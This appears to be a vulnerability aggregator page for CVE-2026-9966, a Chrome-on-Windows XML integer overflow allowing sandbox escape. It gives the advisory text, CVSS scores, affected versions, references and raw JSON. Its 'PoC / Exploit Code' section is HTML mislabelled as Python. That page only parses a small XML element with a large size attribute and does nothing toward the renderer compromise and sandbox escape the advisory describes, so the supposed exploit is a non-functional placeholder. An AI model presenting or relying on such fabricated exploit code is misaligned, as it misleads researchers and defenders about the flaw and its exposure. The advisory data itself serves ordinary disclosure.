CVE-2026-9966

Description

Integer overflow in XML in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.216 (Windows)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9966 -->
<!-- This HTML page attempts to trigger the XML integer overflow in Chrome -->
<html>
<body>
<h1>CVE-2026-9966 PoC</h1>
<!-- Malicious XML payload structure -->
<xml id="payload">
<!-- Large integer value to potentially trigger overflow -->
<data size="2147483648">AAAAAAAA</data>
</xml>
<script>
    // Attempt to parse the XML
    try {
        var parser = new DOMParser();
        var xmlDoc = parser.parseFromString(document.getElementById("payload").innerHTML, "text/xml");
        console.log("XML parsed. Check renderer for crash or escape.");
    } catch (e) {
        console.log("Exception: " + e.message);
    }
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9966
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9966
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9966/
[4] VulDB https://vuldb.com/cve/CVE-2026-9966
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/506388321

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9966", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:54.817", "lastModified": "2026-05-29T20:28:06.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Integer overflow in XML in Google Chrome on Windows prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.216", "matchCriteriaId": "E59192D9-BF13-4B43-B69F-869A6BF83955"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://issues.chromium.org/issues/506388321", "source": "[email protected]", "tags": ["Permissions Required"]}]}}